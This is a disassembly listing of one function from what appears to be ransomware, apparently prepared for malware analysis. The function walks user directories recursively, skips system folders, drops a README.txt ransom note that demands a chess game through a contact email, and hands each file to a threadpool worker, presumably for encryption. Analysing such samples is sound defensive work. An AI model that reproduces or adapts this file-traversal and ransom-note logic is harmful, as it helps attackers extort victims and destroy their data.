Function at 0x1400014e0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r15
lea rbp, [rsp - 0x6d0]
sub rsp, 0x7d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x6b0], rax
mov r12, qword [rbp + 0x730]
lea rax, str.C:Windows
mov rsi, rcx
mov qword [rsp + 0x38], rax
lea rcx, str.C:UsersDefault
mov rbx, r8
mov qword [rsp + 0x40], rcx
xor edi, edi
lea rcx, str.C:UsersPublic
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x48], rcx
mov r15d, r9d
mov r13, rdx
mov qword [rsp + 0x50], rdi
nop
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001827
mov rax, qword [rsp + rdi*8 + 0x40]
inc rdi
test rax, rax
jne 0x140001550
mov r9, rsi
mov qword [rsp + 0x7c8], r14
lea r8, str._s
mov edx, 0x200
lea rcx, [rbp + 0x4b0]
call fcn.140001120
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x4b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x14000181f
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp - 0x64]
lea rdi, [0x140006180]
sub rdi, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + rdi]
sub edx, ecx
jne 0x1400015e2
inc rax
test ecx, ecx
jne 0x1400015d0
test edx, edx
je 0x140001800
lea rax, [rbp - 0x64]
lea rdi, [0x14000617c]
sub rdi, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + rdi]
sub edx, ecx
jne 0x140001612
inc rax
test ecx, ecx
jne 0x140001600
test edx, edx
je 0x140001800
lea rax, [rbp - 0x64]
mov r9, rsi
lea r8, str._s_s
mov qword [rsp + 0x20], rax
mov edx, 0x200
lea rcx, [rbp + 0x2b0]
call fcn.140001120
test byte [rsp + 0x70], 0x10
je 0x14000166f
cmp r15d, 3
jge 0x140001800
lea r9d, [r15 + 1]
mov qword [rsp + 0x20], r12
mov r8, rbx
lea rcx, [rbp + 0x2b0]
mov rdx, r13
call fcn.1400014e0
jmp 0x140001800
mov edx, 0x2e
lea rcx, [rbp - 0x64]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
mov r9, rsi
lea r8, str._sREADME.txt
mov edx, 0x100
lea rcx, [rbp + 0xb0]
mov rdi, rax
call fcn.140001120
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140001756
test rdi, rdi
je 0x1400016d3
lea rdx, str..lnk
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001756
mov r9, rsi
lea r8, str._sREADME.txt
mov edx, 0x100
lea rcx, [rbp + 0xb0]
call fcn.140001120
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140001756
mov r9, rsi
lea r8, [0x1400062c0]
mov edx, 0x100
lea rcx, [rbp + 0x1b0]
call fcn.140001120
lea rdx, [0x1400062b8]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
je 0x140001756
mov r8, r12
lea rdx, str.Your_files_have_been_encrypted._nYour_personal_ID:__s_nWhat_can_you_do_about_it__nPlay_chess_against_me._If_you_win__you_will_get_your_files_back._nSend_your_personal_ID_to_d3cryptme_firemail.cc_nYou_will_get_a_chess_invite._nGood_luck_
mov rcx, rax
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, 0x38
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x1400017fb
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov qword [rbx], rax
test rax, rax
je 0x1400017f2
vmovups ymm0, ymmword [r13]
mov rax, qword [rsp + 0x30]
lea r8, [0x140006940]
vmovups ymmword [rbx + 8], ymm0
mov rdx, rbx
lea rcx, [0x140001180]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rbx + 0x28], xmm0
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWork]
test rax, rax
je 0x1400017c5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
jmp 0x1400017fb
mov rdi, qword [rbx]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rdi + rcx], 0
jne 0x1400017d0
xor eax, eax
rep stosb byte [rdi], al
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
mov ecx, 0x38
mov rdi, rbx
rep stosb byte [rdi], al
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [rsp + 0x30]
lea rdx, [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1400015c0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
mov r14, qword [rsp + 0x7c8]
mov rcx, qword [rbp + 0x6b0]
xor rcx, rsp
call fcn.1400023f0
add rsp, 0x7d0
pop r15
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret